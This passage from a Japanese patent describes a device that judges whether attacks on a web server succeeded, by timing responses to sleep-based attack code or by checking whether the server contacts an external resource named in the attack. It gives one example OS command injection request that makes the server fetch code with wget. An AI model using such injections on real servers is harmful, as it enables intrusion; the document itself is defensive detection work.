具体的には、（３）のレスポンスの送信時刻2017/4/1  00:00:11と、（１）のリクエストの送信時刻2017/4/1  00:00:00との差から、当該webサーバにおけるリクエスト処理時間を算出する。算出の結果、webサーバにおけるリクエスト処理時間は11秒（10秒以上）なので、特徴検査部１２５は、リクエストの検査の結果、攻撃は成功と判定する（（４））。
【００８０】
このような判定装置１０ｂによれば、例えば、sleep等、時刻を操作する機能（例えば、関数やコマンド）を含む攻撃コードによる攻撃についても、攻撃が成功したか否かを判定することができる。
【００８１】
［第４の実施形態］
なお、攻撃コードの中には、攻撃コード本体が外部リソースにある場合もある。このような場合、攻撃コードは、攻撃先を攻撃コード本体のある外部リソースへ誘導するアクセス指示を含む。したがって、例えば、図８に示すように、外部リソースへのアクセスを指示する攻撃コードを含む攻撃リクエストを受信したwebサーバは、攻撃成功時には、当該外部リソースへのアクセスを実行する。一方、攻撃失敗時には、webサーバは、当該外部リソースへのアクセスを実行しない。
【００８２】
したがって、判定装置１０は、webサーバへの攻撃リクエストに含まれる攻撃コードに、外部リソースへのアクセス指示が含まれている場合、webサーバから当該外部リソースへのアクセスがあったか否かにより、攻撃が成功したか否かを判定してもよい。この場合の判定装置１０を第４の実施形態の判定装置１０ｃとして説明する。前記した実施形態と同じ構成については同じ符号を付して説明を省略する。
【００８３】
このような判定装置１０ｃの攻撃コード解析部１２３は、攻撃コードのエミュレーションの結果、当該攻撃コードの実行により外部リソースへのアクセスがあったことを検知した場合、当該攻撃コードの実行により外部リソースへのアクセスがあったことをwebサーバへの攻撃成功時の特徴として抽出する。
【００８４】
そして、特徴検査部１２５は、上記の攻撃成功時の特徴に基づき、攻撃リクエストの送信先のwebサーバへの攻撃が成功したか否かを判定する。例えば、特徴検査部１２５は、webサーバが外部リソースへのアクセスを指示する攻撃コードを含む攻撃リクエストを受信したことを検知すると、webサーバが、攻撃リクエストの受信から所定時間以内に当該外部リソースへアクセスしたか否かを判定する。ここで、特徴検査部１２５は、webサーバが、攻撃リクエストの受信から所定時間以内に当該外部リソースへアクセスしたと判定した場合、攻撃は成功したと判定する。一方、特徴検査部１２５は、webサーバが、攻撃リクエストの受信から所定時間以内に当該外部リソースへアクセスしなかったと判定した場合、攻撃は失敗したと判定する。
【００８５】
なお、webサーバから、攻撃コードに指定された外部リソースへのアクセスの有無は、例えば、判定装置１０ｃまたはネットワーク上に設置されるネットワーク監視装置（図示省略）による当該webサーバからのアクセスの監視結果に基づき判定される。
【００８６】
図９を用いて、判定装置１０ｃの動作例を説明する。ここでは、webサーバへの攻撃リクエストが、A.OSコマンドを悪用する攻撃タイプの「GET  /index.php?id=wget  http://download/x.php」である場合を考える。
【００８７】
この場合、判定装置１０ｃが当該攻撃リクエストを受信すると（（１））、攻撃コード解析部１２３は、当該攻撃リクエストに含まれる攻撃コードの攻撃タイプ（A.OSコマンドを悪用する攻撃タイプ）に応じたエミュレーションを行う。そして、攻撃コード解析部１２３は、当該攻撃コード（例えば、wget  http://download/x.php）と、当該攻撃コードの実行により行われる処理（例えば、攻撃コードに記載されるwebサイト（download）へのアクセス）とを対応付けた情報を、webサーバへの攻撃成功時の特徴として、特徴ＤＢ１１４に記憶する（（２））。
【００８８】
その後、判定装置１０ｃの特徴検査部１２５は、上記のような攻撃リクエストを受信した当該webサーバの動作に、（２）で記憶された特徴があるか否かを判定する。例えば、特徴検査部１２５は、当該webサーバのアクセスログ等を参照して、当該webサーバが、攻撃リクエストの受信後、所定時間以内に攻撃リクエストにより指定される外部リソース（例えば、http://download/x.php）にアクセスしたか否かを確認する。
【００８９】
例えば、特徴検査部１２５は、webサーバが、攻撃リクエストのレスポンス（（４））を返したことを検知すると、上記の攻撃リクエストの受信後、所定時間以内に、当該webサーバが、上記の外部リソース（http://download/x.php）へリクエスト（GET  http://download/x.php）を送信した（（３））か否かを確認する。ここで、特徴検査部１２５は、当該webサーバが攻撃リクエストの受信後、所定時間以内に、当該外部リソース（例えば、http://download/x.php）にアクセスしたことを確認できた場合、攻撃は成功したと判定する（（５）：検査結果  攻撃は成功と判定）。一方、特徴検査部１２５は、当該webサーバが攻撃リクエストの受信後、所定時間以内に、当該外部リソース（例えば、http://download/x.php）にアクセスしていなかった場合、攻撃は失敗したと判定する。
【００９０】
このような判定装置１０ｃによれば、攻撃コードの本体が外部リソースにあるような場合についても、攻撃が成功したか否かを判定することができる。
【００９１】
［その他の実施形態］
なお、各実施形態で述べた判定装置１０ａ，１０ｂ，１０ｃにおける攻撃検知部１２１は、判定装置１０の外部に設置されていてもよい。例えば、図１０の符号１０１，１０２に示すように、判定装置１０ａ，１０ｂ，１０ｃの外部に設置されるWAF等の攻撃検知機器により実現されてもよい。また、判定装置１０ａ，１０ｂ，１０ｃは、図１０の符号１０１に示すように、攻撃の成否の判定対象となるwebサーバと直接接続する構成（インライン構成）としてもよいし、図１０の符号１０２に示すように、webサーバとWAF等の攻撃検知機器経由で接続する構成（タップ構成）としてもよい。
【００９２】
［プログラム］
また、上記の実施形態で述べた判定装置１０の機能を実現するプログラムを所望の情報処理装置（コンピュータ）にインストールすることによって実装できる。例えば、パッケージソフトウェアやオンラインソフトウェアとして提供される上記のプログラムを情報処理装置に実行させることにより、情報処理装置を判定装置１０として機能させることができる。ここで言う情報処理装置には、デスクトップ型またはノート型のパーソナルコンピュータが含まれる。また、その他にも、情報処理装置にはスマートフォン、携帯電話機やＰＨＳ（Personal  Handyphone  System）等の移動体通信端末、さらには、ＰＤＡ（Personal  Digital  Assistants）等がその範疇に含まれる。また、判定装置１０を、クラウドサーバに実装してもよい。
【００９３】
図１１を用いて、上記のプログラム（判定プログラム）を実行するコンピュータの一例を説明する。図１１に示すように、コンピュータ１０００は、例えば、メモリ１０１０と、ＣＰＵ１０２０と、ハードディスクドライブインタフェース１０３０と、ディスクドライブインタフェース１０４０と、シリアルポートインタフェース１０５０と、ビデオアダプタ１０６０と、ネットワークインタフェース１０７０とを有する。これらの各部は、バス１０８０によって接続される。
【００９４】
メモリ１０１０は、ＲＯＭ（Read  Only  Memory）１０１１およびＲＡＭ（Random  Access  Memory）１０１２を含む。ＲＯＭ１０１１は、例えば、ＢＩＯＳ（Basic  Input  Output  System）等のブートプログラムを記憶する。ハードディスクドライブインタフェース１０３０は、ハードディスクドライブ１０９０に接続される。ディスクドライブインタフェース１０４０は、ディスクドライブ１１００に接続される。ディスクドライブ１１００には、例えば、磁気ディスクや光ディスク等の着脱可能な記憶媒体が挿入される。シリアルポートインタフェース１０５０には、例えば、マウス１１１０およびキーボード１１２０が接続される。ビデオアダプタ１０６０には、例えば、ディスプレイ１１３０が接続される。
【００９５】
ここで、図１１に示すように、ハードディスクドライブ１０９０は、例えば、ＯＳ１０９１、アプリケーションプログラム１０９２、プログラムモジュール１０９３およびプログラムデータ１０９４を記憶する。前記した実施形態で説明した各種データや情報は、例えばハードディスクドライブ１０９０やメモリ１０１０に記憶される。
【００９６】
そして、ＣＰＵ１０２０が、ハードディスクドライブ１０９０に記憶されたプログラムモジュール１０９３やプログラムデータ１０９４を必要に応じてＲＡＭ１０１２に読み出して、上述した各手順を実行する。
【００９７】
なお、上記の判定プログラムに係るプログラムモジュール１０９３やプログラムデータ１０９４は、ハードディスクドライブ１０９０に記憶される場合に限られず、例えば、着脱可能な記憶媒体に記憶されて、ディスクドライブ１１００等を介してＣＰＵ１０２０によって読み出されてもよい。あるいは、上記のプログラムに係るプログラムモジュール１０９３やプログラムデータ１０９４は、ＬＡＮ（Local  Area  Network）やＷＡＮ（Wide  Area  Network）等のネットワークを介して接続された他のコンピュータに記憶され、ネットワークインタフェース１０７０を介してＣＰＵ１０２０によって読み出されてもよい。
【符号の説明】
【００９８】
１０  判定装置
１１  記憶部
１１１  攻撃タイプ別キーワードリスト
１１２  特徴候補ＤＢ
１１３  レスポンスＤＢ
１１４  特徴ＤＢ
１２１  攻撃検知部
１２２  攻撃タイプ判定部
１２３  攻撃コード解析部
１２４  特徴選定部
１２５  特徴検査部
【図１】
0006708794.tif 000002
【図２】
0006708794.tif 000003
【図３】
0006708794.tif 000004
【図４】
0006708794.tif 000005
【図５】
0006708794.tif 000006
【図６】
0006708794.tif 000007
【図７】
0006708794.tif 000008
【図８】
0006708794.tif 000009
【図９】
0006708794.tif 000010
【図１０】
0006708794.tif 000011
【図１１】
0006708794.tif 000012